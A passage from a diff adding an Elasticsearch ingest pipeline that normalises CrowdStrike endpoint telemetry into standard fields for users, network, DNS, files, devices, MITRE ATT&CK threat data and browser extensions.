+ tag: remove_crowdstrike_User + description: Remove User field if it still exist as Map. + if: ctx.crowdstrike?.User instanceof Map + field: crowdstrike.User + ignore_missing: true + - rename: + tag: rename_crowdstrike_UserName_to_user_name_5437c07f + if: ctx.crowdstrike?.UserName != null && ctx.user?.name == null + field: crowdstrike.UserName + target_field: user.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_User_to_user_name_bf245c5d + if: ctx.crowdstrike?.User instanceof String && ctx.user?.name == null + field: crowdstrike.User + target_field: user.name + ignore_missing: true + - split: + tag: split_crowdstrike_UserPrincipal_into__temp_user_parts_9fd1bce5 + if: ctx.crowdstrike?.UserPrincipal != null + field: crowdstrike.UserPrincipal + separator: '@' + target_field: _temp.user_parts + - rename: + tag: rename_crowdstrike_UserPrincipal_to_user_email_54920c0f + field: crowdstrike.UserPrincipal + target_field: user.email + ignore_missing: true + - set: + tag: set_user_domain_8dc33fc7 + if: ctx.user?.domain == null && ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + field: user.domain + value: '{{{_temp.user_parts.1}}}' + ignore_empty_value: true + ignore_failure: true + - append: + tag: append_user_domain_536a37ed + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + field: user.domain + value: '{{{_temp.user_parts.1}}}' + allow_duplicates: false + ignore_failure: true + - set: + tag: set_user_full_name_7172c7bf + if: ctx._temp?.user_parts != null && ctx._temp.user_parts.size() == 2 + field: user.full_name + value: '{{{_temp.user_parts.0}}}' + ignore_empty_value: true + ignore_failure: true + - set: + tag: set_user_name_e3f940d5 + if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') + field: user.name + copy_from: crowdstrike.SourceAccountSamAccountName + ignore_empty_value: true + - set: + tag: set_user_email_4558e3d3 + if: |- + ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') && + ctx.crowdstrike?.SourceAccountUserName instanceof String && ctx.crowdstrike.SourceAccountUserName.contains('@') + field: user.email + copy_from: crowdstrike.SourceAccountUserName + ignore_empty_value: true + - set: + tag: set_user_id_12584d3a + if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') + field: user.id + copy_from: crowdstrike.SourceEndpointAccountObjectSid + ignore_empty_value: true + - set: + tag: set_user_domain_acdd7f9f + if: ctx.event?.action instanceof String && ctx.event.action.startsWith('ActiveDirectory') + field: user.domain + copy_from: crowdstrike.SourceAccountDomain + ignore_empty_value: true + - set: + tag: set_user_name_d3e6a828 + if: ctx.event?.action == 'TokenImpersonated' + field: user.name + copy_from: crowdstrike.OriginalUserName + ignore_empty_value: true + - set: + tag: set_user_id_5a4715df + if: ctx.event?.action == 'TokenImpersonated' + field: user.id + copy_from: crowdstrike.OriginalUserSid + ignore_empty_value: true + - set: + tag: set_user_target_name_e7ea9dab + if: ctx.event?.action == 'TokenImpersonated' + field: user.target.name + copy_from: crowdstrike.ImpersonatedUserName + ignore_empty_value: true + - set: + tag: set_user_name_3ad2bb37 + if: ctx.event?.action == 'SudoCommandAttempt' + field: user.name + copy_from: crowdstrike.OriginalUserName + ignore_empty_value: true + - set: + tag: set_user_name_14b4c00f + if: (ctx.user?.name == null || ctx.user.name == '') && ctx.event?.action == 'SudoCommandAttempt' + field: user.name + value: root + - set: + tag: set_user_id_78c7e383 + if: ctx.event?.action == 'SudoCommandAttempt' + field: user.id + copy_from: crowdstrike.OriginalUserID + ignore_empty_value: true + - set: + tag: set_user_id_7471f6df + if: ctx.user?.id == null && ctx.event?.action == 'SudoCommandAttempt' + field: user.id + value: 0 + - set: + tag: set_user_target_name_9dc9fd59 + if: ctx.event?.action == 'SudoCommandAttempt' + field: user.target.name + copy_from: crowdstrike.NewUsername + ignore_empty_value: true + - set: + tag: set_user_target_name_bd5b4743 + if: (ctx.user?.target?.name == null || ctx.user.target.name == '') && ctx.event?.action == 'SudoCommandAttempt' + field: user.target.name + value: root + - set: + tag: set_user_target_id_de692ea1 + if: ctx.event?.action == 'SudoCommandAttempt' + field: user.target.id + copy_from: crowdstrike.NewUserID + ignore_empty_value: true + - set: + tag: set_user_target_id_aeb7c3f6 + if: ctx.user?.target?.id == null && ctx.event?.action == 'SudoCommandAttempt' + field: user.target.id + value: 0 + - append: + tag: append_related_user_3b423052 + if: ctx.user?.name != null + field: related.user + value: '{{{user.name}}}' + allow_duplicates: false + ignore_failure: true + - append: + tag: append_related_user_f49500fe + if: ctx.crowdstrike?.info?.user?.User != null + field: related.user + value: '{{{crowdstrike.info.user.User}}}' + allow_duplicates: false + ignore_failure: true + - append: + tag: append_related_user_a621a20e + if: ctx.user?.full_name != null + field: related.user + value: '{{{user.full_name}}}' + allow_duplicates: false + ignore_failure: true + - append: + tag: append_related_user_fd5e2e77 + if: ctx.user?.target?.name != null + field: related.user + value: '{{{user.target.name}}}' + allow_duplicates: false + ignore_failure: true + - append: + tag: append_related_user_36d4b55a + if: ctx.user?.email != null + field: related.user + value: '{{{user.email}}}' + allow_duplicates: false + ignore_failure: true + - append: + tag: append_related_user_3b2f7fde + if: ctx.user?.id != null + field: related.user + value: '{{{user.id}}}' + allow_duplicates: false + ignore_failure: true + + # Networking fields. + - set: + tag: set_network_direction_outbound_0a78995a + if: ctx.crowdstrike?.ConnectionDirection == "0" + field: network.direction + value: outbound + - set: + tag: set_network_direction_inbound_3994c5e4 + if: ctx.crowdstrike?.ConnectionDirection == "1" + field: network.direction + value: inbound + - set: + tag: set_network_direction_unknown_85fe37dc + if: ctx.network?.direction == null && ctx.crowdstrike?.ConnectionDirection != null && ctx.crowdstrike.ConnectionDirection != "" + field: network.direction + value: unknown + - split: + tag: split_crowdstrike_LocalAddressIP4_f22b33b0 + if: ctx.crowdstrike?.LocalAddressIP4 != null + field: crowdstrike.LocalAddressIP4 + separator: \s+ + - convert: + tag: convert_crowdstrike_LocalAddressIP4_to_ip_51f6b345 + if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 + field: crowdstrike.LocalAddressIP4 + type: ip + on_failure: + - append: + tag: append_error_message_e88e196b + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_RemoteAddressIP4_to_ip_4294f17c + field: crowdstrike.RemoteAddressIP4 + type: ip + ignore_missing: true + - foreach: + tag: foreach_of_crowdstrike_LocalAddressIP4_6d151b47 + if: ctx.crowdstrike?.LocalAddressIP4 instanceof List && ctx.crowdstrike.LocalAddressIP4.length > 0 + field: crowdstrike.LocalAddressIP4 + processor: + append: + tag: append_related_ip_8dd5b5a0 + field: related.ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + - split: + tag: split_crowdstrike_LocalAddressIP6_fc0e2aa0 + if: ctx.crowdstrike?.LocalAddressIP6 != null + field: crowdstrike.LocalAddressIP6 + separator: \s+ + - convert: + tag: convert_crowdstrike_LocalAddressIP6_to_ip_7bf75c3b + if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 + field: crowdstrike.LocalAddressIP6 + type: ip + on_failure: + - append: + tag: append_error_message_6fd2c379 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_RemoteAddressIP6_to_ip_cc6268b6 + field: crowdstrike.RemoteAddressIP6 + type: ip + ignore_missing: true + - foreach: + tag: foreach_of_crowdstrike_LocalAddressIP6_73647309 + if: ctx.crowdstrike?.LocalAddressIP6 instanceof List && ctx.crowdstrike.LocalAddressIP6.length > 0 + field: crowdstrike.LocalAddressIP6 + processor: + append: + tag: append_related_ip_d68eb75e + field: related.ip + value: '{{{_ingest._value}}}' + allow_duplicates: false + # The condition for this processor is all non-inbound, but the pipeline operates assuming the + # traffic is outbound. In cases where there is no information we make this assumption rather + # than dropping the data on the floor. + - pipeline: + tag: pipeline_outbound_network_dff2c778 + if: ctx.network?.direction != 'inbound' + name: '{{ IngestPipeline "outbound_network" }}' + - pipeline: + tag: pipeline_inbound_network_256f4a6b + if: ctx.network?.direction == 'inbound' + name: '{{ IngestPipeline "inbound_network" }}' + - rename: + tag: rename_crowdstrike_Protocol_to_network_iana_number_c957cab0 + field: crowdstrike.Protocol + target_field: network.iana_number + ignore_missing: true + - script: + tag: network_transport_lookup_6cfaca70 + if: ctx.network?.iana_number != null + source: |- + def iana_number = ctx.network.iana_number; + if (iana_number == '0') { + ctx.network.transport = 'hopopt'; + } else if (iana_number == '1') { + ctx.network.transport = 'icmp'; + } else if (iana_number == '2') { + ctx.network.transport = 'igmp'; + } else if (iana_number == '6') { + ctx.network.transport = 'tcp'; + } else if (iana_number == '8') { + ctx.network.transport = 'egp'; + } else if (iana_number == '17') { + ctx.network.transport = 'udp'; + } else if (iana_number == '47') { + ctx.network.transport = 'gre'; + } else if (iana_number == '50') { + ctx.network.transport = 'esp'; + } else if (iana_number == '58') { + ctx.network.transport = 'ipv6-icmp'; + } else if (iana_number == '112') { + ctx.network.transport = 'vrrp'; + } else if (iana_number == '132') { + ctx.network.transport = 'sctp'; + } + - community_id: + tag: community_id_99f56bc8 + ignore_missing: true + ignore_failure: true + - append: + tag: append_related_ip_de300c66 + if: ctx.source?.ip != null && ctx.source.ip != "" + field: related.ip + value: '{{{source.ip}}}' + allow_duplicates: false + - append: + tag: append_related_ip_cb5f9c4b + if: ctx.destination?.ip != null && ctx.destination.ip != "" + field: related.ip + value: '{{{destination.ip}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_MAC_to_source_mac_41d0f60c + field: crowdstrike.MAC + target_field: source.mac + ignore_missing: true + - rename: + tag: rename_crowdstrike_PhysicalAddress_to_source_mac_92994720 + if: ctx.source?.mac == null + field: crowdstrike.PhysicalAddress + target_field: source.mac + ignore_missing: true + - uppercase: + tag: uppercase_source_mac_5b4e7be2 + field: source.mac + ignore_missing: true + - rename: + tag: rename_crowdstrike_DownloadServer_to_server_address_42a5dc43 + field: crowdstrike.DownloadServer + target_field: server.address + ignore_missing: true + - rename: + tag: rename_crowdstrike_DownloadPath_to_url_path_93fc692a + field: crowdstrike.DownloadPath + target_field: url.path + ignore_missing: true + + # URL fields. + - set: + tag: set_url_path_da9a4fde + if: ctx.url?.path != null && !ctx.url.path.startsWith("/") + field: url.path + value: /{{{url.path}}} + - registered_domain: + tag: registered_domain_server_address_into_server_5b9b14fb + field: server.address + target_field: server + ignore_missing: true + - set: + tag: set_url_scheme_73338c43 + if: ctx.crowdstrike?.DownloadPort == 443 + field: url.scheme + value: https + - set: + tag: set_url_scheme_d61be5fe + if: ctx.crowdstrike?.DownloadPort != null && ctx.crowdstrike.DownloadPort != 443 + field: url.scheme + value: http + - set: + tag: set_url_full_fbad7e02 + if: ctx.url?.scheme != null && ctx.server?.address != null && ctx.url?.path != null + field: url.full + value: '{{{url.scheme}}}://{{{server.address}}}{{{url.path}}}' + - uri_parts: + tag: uri_parts_url_full_443b4650 + if: ctx.url?.full != null + field: url.full + - registered_domain: + tag: registered_domain_url_domain_into_url_78008ed6 + field: url.domain + target_field: url + ignore_missing: true + ignore_failure: true + + # IP Geolocation Lookup. + - geoip: + tag: geoip_observer_ip_into_observer_geo_0729ba64 + field: observer.ip + target_field: observer.geo + ignore_missing: true + - geoip: + tag: geoip_source_ip_into_source_geo_fcc86651 + field: source.ip + target_field: source.geo + first_only: true + ignore_missing: true + - geoip: + tag: geoip_destination_ip_into_destination_geo_ab5e2968 + field: destination.ip + target_field: destination.geo + ignore_missing: true + + # IP Autonomous System (AS) Lookup + - geoip: + tag: geoip_source_ip_into_source_as_56e63fbc + field: source.ip + target_field: source.as + database_file: GeoLite2-ASN.mmdb + first_only: true + properties: + - asn + - organization_name + ignore_missing: true + - rename: + tag: rename_source_as_asn_to_source_as_number_a917047d + field: source.as.asn + target_field: source.as.number + ignore_missing: true + - rename: + tag: rename_source_as_organization_name_to_source_as_organization_name_f1362d0b + field: source.as.organization_name + target_field: source.as.organization.name + ignore_missing: true + - geoip: + tag: geoip_destination_ip_into_destination_as_8a007787 + field: destination.ip + target_field: destination.as + database_file: GeoLite2-ASN.mmdb + properties: + - asn + - organization_name + ignore_missing: true + - rename: + tag: rename_destination_as_asn_to_destination_as_number_3b459fcd + field: destination.as.asn + target_field: destination.as.number + ignore_missing: true + - rename: + tag: rename_destination_as_organization_name_to_destination_as_organization_name_814bd459 + field: destination.as.organization_name + target_field: destination.as.organization.name + ignore_missing: true + + # DNS fields. + - set: + tag: set_dns_type_2198a4ce + if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") + field: dns.type + value: query + - set: + tag: set_network_protocol_6995faae + if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") + field: network.protocol + value: dns + - registered_domain: + tag: registered_domain_crowdstrike_DomainName_into_dns_question_8498515b + if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") + field: crowdstrike.DomainName + target_field: dns.question + ignore_missing: true + - rename: + tag: rename_dns_question_domain_to_dns_question_name_699a0f98 + if: ctx.event?.action != null && ctx.event.action.contains("DnsRequest") + field: dns.question.domain + target_field: dns.question.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_DomainName_to_dns_question_name_5cc610bf + if: ctx.event?.action != null && ctx.dns?.question?.name == null && ctx.event.action.contains("DnsRequest") + field: crowdstrike.DomainName + target_field: dns.question.name + ignore_missing: true + - script: + description: Map decimal DNS request type to its name. + tag: dns_request_type_to_name_d668973b + if: ctx.event?.action != null && ctx.crowdstrike?.RequestType != null && !ctx.crowdstrike.RequestType.isEmpty() && ctx.event.action.contains("DnsRequest") + params: + "1": A + "2": NS + "5": CNAME + "6": SOA + "12": PTR + "13": HINFO + "15": MX + "16": TXT + "17": RP + "18": AFSDB + "24": SIG + "25": KEY + "28": AAAA + "29": LOC + "33": SRV + "35": NAPTR + "36": KX + "37": CERT + "39": DNAME + "42": APL + "43": DS + "44": SSHFP + "45": IPSECKEY + "46": RRSIG + "47": NSEC + "48": DNSKEY + "49": DHCID + "50": NSEC3 + "51": NSEC3PARAM + "52": TLSA + "53": SMIMEA + "55": HIP + "59": CDS + "60": CDNSKEY + "61": OPENPGPKEY + "62": CSYNC + "63": ZONEMD + "64": SVCB + "65": HTTPS + "108": EUI48 + "109": EUI64 + "249": TKEY + "250": TSIG + "256": URI + "257": CAA + "32768": TA + "32769": DLV + source: |- + def t = params[ctx.crowdstrike.RequestType]; + if (t != null) { + if (ctx.dns?.question == null) { + ctx.dns.question = new HashMap(); + } + ctx.dns.question.type = t; + ctx.crowdstrike.remove("RequestType"); + } + + # SMB fields. + - registered_domain: + tag: registered_domain_crowdstrike_DomainName_into_destination_d257bdc5 + if: ctx.event?.action != null && ctx.event.action.contains("SmbServerShareOpenedEtw") + field: crowdstrike.DomainName + target_field: destination + ignore_missing: true + - rename: + tag: rename_crowdstrike_DomainName_to_destination_domain_ce83b813 + if: ctx.event?.action != null && ctx.destination?.domain == null && ctx.event.action.contains("SmbServerShareOpenedEtw") + field: crowdstrike.DomainName + target_field: destination.domain + ignore_missing: true + + # File fields. + - set: + tag: set_file_pe_original_file_name_18b6c509 + if: ctx._temp?.isFile == true && ctx.host?.os?.type == 'windows' + field: file.pe.original_file_name + copy_from: crowdstrike.OriginalFilename + ignore_empty_value: true + - convert: + tag: convert_crowdstrike_Size_to_long_e1288c18 + field: crowdstrike.Size + type: long + ignore_missing: true + ignore_failure: true + - rename: + tag: rename_crowdstrike_Size_to_file_size_ff917179 + field: crowdstrike.Size + target_field: file.size + ignore_missing: true + - rename: + tag: rename_crowdstrike_FileIdentifier_to_file_inode_0a17a91b + field: crowdstrike.FileIdentifier + target_field: file.inode + ignore_missing: true + - set: + tag: set_file_Ext_original_path_9b97db2e + if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo' + field: file.Ext.original.path + copy_from: crowdstrike.SourceFileName + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_SourceFileName_to_file_path_2d976c16 + field: crowdstrike.SourceFileName + target_field: file.path + ignore_missing: true + - rename: + tag: rename_crowdstrike_TargetFileName_to_file_path_069dcf4c + if: ctx.file?.path == null + field: crowdstrike.TargetFileName + target_field: file.path + ignore_missing: true + ignore_failure: true + - set: + tag: set_file_path_4a274218 + if: ctx.event?.action == 'NewExecutableRenamed' || ctx.event?.action == 'FileRenameInfo' + field: file.path + copy_from: crowdstrike.TargetFileName + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_DiskParentDeviceInstanceId_to_file_device_f0e46ae0 + field: crowdstrike.DiskParentDeviceInstanceId + target_field: file.device + ignore_missing: true + - set: + tag: set_file_type_f7adee81 + if: ctx.file?.path != null && ctx.file.type == null && ctx.event?.action != null && !ctx.event.action.contains("Directory") + field: file.type + value: file + - set: + tag: set_file_type_d001ae21 + if: ctx.file?.path != null && ctx.event?.action != null && (ctx.event.action.contains("Directory") || ctx.file.path.endsWith("\\") || ctx.file.path.endsWith("/")) + field: file.type + value: dir + - script: + description: Adds file information. + tag: parse_file_path_387a3a29 + if: ctx.file?.path != null && ctx.file.path.length() > 1 + source: |- + def removeSuffix(String s, String suffix) { + if (s != null && suffix != null && s.endsWith(suffix)) { + return s.substring(0, s.length() - suffix.length()); + } + return s; + } + + def path = removeSuffix(ctx.file.path, "/"); + path = removeSuffix(path, "\\"); + def idx = path.lastIndexOf("\\"); + if (idx == -1) { + idx = path.lastIndexOf("/"); + } + if (idx > -1) { + if (ctx.file == null) { + ctx.file = new HashMap(); + } + ctx.file.name = path.substring(idx+1); + ctx.file.directory = path.substring(0, idx); + + def extIdx = ctx.file.name.lastIndexOf("."); + if (extIdx > -1 && ctx.file.type == "file") { + ctx.file.extension = ctx.file.name.substring(extIdx+1); + } + } + if (path.indexOf(':') == 1) { + ctx.file.drive_letter = path.substring(0, 1).toUpperCase(); + } + - script: + description: Adds file.Ext.original.* information. + tag: parse_file_ext_original_path_3333a0b6 + if: ctx.file?.Ext?.original?.path != null && ctx.file.Ext.original.path.length() > 1 + source: |- + def removeSuffix(String s, String suffix) { + if (s != null && suffix != null && s.endsWith(suffix)) { + return s.substring(0, s.length() - suffix.length()); + } + return s; + } + + def path = removeSuffix(ctx.file.Ext.original.path, "/"); + path = removeSuffix(path, "\\"); + def idx = path.lastIndexOf("\\"); + if (idx == -1) { + idx = path.lastIndexOf("/"); + } + if (idx > -1) { + ctx.file.Ext.original.name = path.substring(idx+1); + } + - rename: + tag: rename__temp_hashes_to_file_hash_4f3ee7d5 + if: ctx.event?.action != null && (ctx.event.action.contains("File") || ctx.event.action.contains("Directory") || ctx.event.action.contains("Executable")) && ctx._temp?.hashes != null && ctx._temp?.hashes.size() > 0 + field: _temp.hashes + target_field: file.hash + - set: + tag: set_process_name_e2490a66 + if: ctx.event?.action != null && ctx.event.action.endsWith('Written') + field: process.name + copy_from: crowdstrike.ContextBaseFileName + ignore_empty_value: true + - set: + tag: set_process_executable_f5f831a3 + if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows' + field: process.executable + copy_from: crowdstrike.ContextImageFileName + ignore_empty_value: true + - set: + tag: set_file_hash_sha256_1abd2cde + if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'linux' + field: file.hash.sha256 + copy_from: crowdstrike.SHA256HashData + ignore_empty_value: true + - set: + tag: set_event_action_526984f8 + if: ctx.event?.action != null && ctx.event.action.endsWith('Written') && ctx.host?.os?.type == 'windows' + field: event.action + value: creation + + # Device Fields. + - set: + tag: set_device_id_from_crowdstrike_SensorId_99cb3a0a + field: device.id + copy_from: crowdstrike.SensorId + ignore_empty_value: true + - set: + tag: set_device_id_from_crowdstrike_DeviceId_d95e3c57 + if: ctx.device?.id == null + field: device.id + copy_from: crowdstrike.DeviceId + ignore_empty_value: true + - set: + tag: set_device_id_from_observer_serial_number_d165cc83 + if: ctx.device?.id == null + field: device.id + copy_from: observer.serial_number + ignore_empty_value: true + + # Threat Fields. + - foreach: + tag: foreach_of_crowdstrike_Attacks_with_Technique_345d0faa + if: ctx.crowdstrike?.Attacks instanceof List + field: crowdstrike.Attacks + processor: + append: + tag: append_threat_technique_name_bbf3ed48 + field: threat.technique.name + value: '{{{_ingest._value.Technique}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_Attacks_with_Tactic_345d0faa + if: ctx.crowdstrike?.Attacks instanceof List + field: crowdstrike.Attacks + processor: + append: + tag: append_threat_tactic_name_9aebe2d8 + field: threat.tactic.name + value: '{{{_ingest._value.Tactic}}}' + allow_duplicates: false + + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_threat_tactic_name_b021c3ec + field: threat.tactic.name + value: '{{{_ingest._value.Tactic}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_threat_tactic_id_4d499747 + field: threat.tactic.id + value: '{{{_ingest._value.TacticID}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_threat_technique_name_af6387ac + field: threat.technique.name + value: '{{{_ingest._value.Technique}}}' + allow_duplicates: false + - foreach: + tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de + if: ctx.crowdstrike?.MitreAttack instanceof List + field: crowdstrike.MitreAttack + processor: + append: + tag: append_threat_technique_id_70f7c093 + field: threat.technique.id + value: '{{{_ingest._value.TechniqueID}}}' + allow_duplicates: false + + # Package fields. + - script: + tag: set_browser_extension_architecture_value_8a719036 + if: ctx.crowdstrike?.BrowserExtensionArchitecture != null + params: + "0": UNKNOWN + "1": MANIFEST_V2 + "2": MANIFEST_V3 + "3": SAFARI_APP + source: |- + ctx.package = ctx.package ?: [:]; + ctx.package.architecture = params[ctx.crowdstrike.BrowserExtensionArchitecture]; + - rename: + tag: rename_crowdstrike_BrowserExtensionInstalledTimestamp_to_package_installed_ae5bafc8 + field: crowdstrike.BrowserExtensionInstalledTimestamp + target_field: package.installed + ignore_missing: true + - rename: + tag: rename_crowdstrike_BrowserExtensionName_to_package_name_d5505948 + field: crowdstrike.BrowserExtensionName + target_field: package.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_BrowserExtensionPath_to_package_path_647267b0 + field: crowdstrike.BrowserExtensionPath + target_field: package.path + ignore_missing: true + - rename: + tag: rename_crowdstrike_BrowserExtensionVersion_to_package_version_ba30a7f2 + field: crowdstrike.BrowserExtensionVersion + target_field: package.version + ignore_missing: true + + # Crowdstrike fields. + - split: + tag: split_crowdstrike_ContextProcessTagsAsString_e39a5350 + field: crowdstrike.ContextProcessTagsAsString + separator: ',' + ignore_missing: true + - split: + tag: split_crowdstrike_PatternIdList_6b5d8159 + field: crowdstrike.PatternIdList + separator: ',' + ignore_missing: true + - split: + tag: split_crowdstrike_ParentProcessPatternIdList_64341668 + field: crowdstrike.ParentProcessPatternIdList + separator: ',' + ignore_missing: true + - split: + tag: split_crowdstrike_GrandparentProcessPatternIdList_f5f8d60e + field: crowdstrike.GrandparentProcessPatternIdList + separator: ',' + ignore_missing: true + - script: + tag: set_browser_extension_install_method_value_ac2ab447 + if: ctx.crowdstrike?.BrowserExtensionInstallMethod != null + params: + "0": UNIDENTIFIED + "1": BROWSER + "2": WEBSTORE + "3": GPO + "4": SIDELOADED + "5": WEBSTORE_3RD_PARTY + source: ctx.crowdstrike.BrowserExtensionInstallMethod = params[ctx.crowdstrike.BrowserExtensionInstallMethod]; + - split: + tag: split_crowdstrike_FalconGroupingTags_423c786c + field: crowdstrike.FalconGroupingTags + separator: ',\s?' + ignore_missing: true + ignore_failure: true + - split: + tag: split_crowdstrike_SensorGroupingTags_ed3b4811 + field: crowdstrike.SensorGroupingTags + separator: ',\s?' + ignore_missing: true + ignore_failure: true + - script: + description: Convert tags for indexing as keyword. + tag: convert_tags_789cbb4f + if: ctx.crowdstrike?.Tags != null + source: |- + def result = []; + + if (ctx.crowdstrike.Tags instanceof String) { + def parts = ctx.crowdstrike.Tags.splitOnToken(","); + for (def part : parts) { + def trimmed = part.trim(); + if (trimmed != "") { + result.add(trimmed); + } + } + } else if (ctx.crowdstrike.Tags instanceof Map) { + for (def entry : ctx.crowdstrike.Tags.entrySet()) { + result.add(entry.getKey() + ":" + entry.getValue()); + } + } else if (ctx.crowdstrike.Tags instanceof List) { + for (def tag : ctx.crowdstrike.Tags) { + if (tag instanceof Map) { + // this format is seen in the falcon data stream + result.add(tag["Key"] + ":" + tag["ValueString"]); + } else if (tag instanceof String) { + // this isn't expected but avoid throwing away indexable data + result.add(tag); + } + } + } + + ctx.crowdstrike.Tags = result; + - split: + tag: split_crowdstrike_CallStackModuleNames_609f3d51 + field: crowdstrike.CallStackModuleNames + separator: \| + ignore_missing: true + ignore_failure: true + - convert: + tag: convert_crowdstrike_UserTime_to_long_f085b7ec + field: crowdstrike.UserTime + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_KernelTime_to_long_33fe5662 + field: crowdstrike.KernelTime + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_CycleTime_to_long_7a83e985 + field: crowdstrike.CycleTime + type: long + ignore_missing: true + - append: + tag: append_related_hash_8fcac57a + if: ctx.crowdstrike?.ConfigStateHash != null && ctx.crowdstrike.ConfigStateHash != "" + field: related.hash + value: '{{{crowdstrike.ConfigStateHash}}}' + allow_duplicates: false + ignore_failure: true + - trim: + tag: trim_crowdstrike_BootArgs_f8d8d2c8 + field: crowdstrike.BootArgs + ignore_missing: true + - split: + tag: split_crowdstrike_BootArgs_cf296683 + field: crowdstrike.BootArgs + separator: \s+ + ignore_missing: true + - date: + tag: date_crowdstrike_LogonTime_into_crowdstrike_LogonTime_c8a2b6df + if: ctx.crowdstrike?.LogonTime != null && ctx.crowdstrike.LogonTime != '' && ctx.crowdstrike.LogonTime != 'none' + field: crowdstrike.LogonTime + target_field: crowdstrike.LogonTime + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_LogoffTime_into_crowdstrike_LogoffTime_1382cc79 + if: ctx.crowdstrike?.LogoffTime != null && ctx.crowdstrike.LogoffTime != '' && ctx.crowdstrike.LogoffTime != 'none' + field: crowdstrike.LogoffTime + target_field: crowdstrike.LogoffTime + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_ConnectTime_into_crowdstrike_ConnectTime_c13b62a8 + if: ctx.crowdstrike?.ConnectTime != null && ctx.crowdstrike.ConnectTime != '' && ctx.crowdstrike.ConnectTime != 'none' + field: crowdstrike.ConnectTime + target_field: crowdstrike.ConnectTime + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_PreviousConnectTime_into_crowdstrike_PreviousConnectTime_6679f281 + if: ctx.crowdstrike?.PreviousConnectTime != null && ctx.crowdstrike.PreviousConnectTime != '' && ctx.crowdstrike.PreviousConnectTime != 'none' + field: crowdstrike.PreviousConnectTime + target_field: crowdstrike.PreviousConnectTime + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_AgentLocalTime_into_crowdstrike_AgentLocalTime_e869dd14 + if: ctx.crowdstrike?.AgentLocalTime != null && ctx.crowdstrike.AgentLocalTime != '' && ctx.crowdstrike.AgentLocalTime != 'none' + field: crowdstrike.AgentLocalTime + target_field: crowdstrike.AgentLocalTime + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_FirstSeen_into_crowdstrike_FirstSeen_f4b197de + if: ctx.crowdstrike?.FirstSeen != null && ctx.crowdstrike.FirstSeen != '' && ctx.crowdstrike.FirstSeen != 'none' + field: crowdstrike.FirstSeen + target_field: crowdstrike.FirstSeen + formats: + - UNIX + ignore_failure: true + - date: + tag: date_crowdstrike_BiosReleaseDate_into_crowdstrike_BiosReleaseDate_767fd760 + if: ctx.crowdstrike?.BiosReleaseDate != null && ctx.crowdstrike.BiosReleaseDate != '' && ctx.crowdstrike.BiosReleaseDate != 'none' + field: crowdstrike.BiosReleaseDate + target_field: crowdstrike.BiosReleaseDate + formats: + - MM/dd/yyyy + - strict_date_optional_time + ignore_failure: true + - convert: + tag: convert_crowdstrike_AgentTimeOffset_to_float_75f59e63 + field: crowdstrike.AgentTimeOffset + type: float + ignore_missing: true + - convert: + tag: convert_crowdstrike_Timeout_to_long_2991d669 + field: crowdstrike.Timeout + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_PhysicalAddressLength_to_long_6bb860dd + field: crowdstrike.PhysicalAddressLength + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_InterfaceIndex_to_long_fe55bcd9 + field: crowdstrike.InterfaceIndex + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_NetLuidIndex_to_long_9cf46a5f + field: crowdstrike.NetLuidIndex + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_AttemptNumber_to_long_8257d63c + field: crowdstrike.AttemptNumber + type: long + ignore_missing: true + - convert: + tag: convert_crowdstrike_SystemTableIndex_to_long_386dfbbd + field: crowdstrike.SystemTableIndex + type: long + ignore_missing: true + - split: + tag: split_crowdstrike_NeighborList_1d18434a + field: crowdstrike.NeighborList + separator: \| + ignore_missing: true + - split: + tag: split_crowdstrike_ConfigStateData_e817cac5 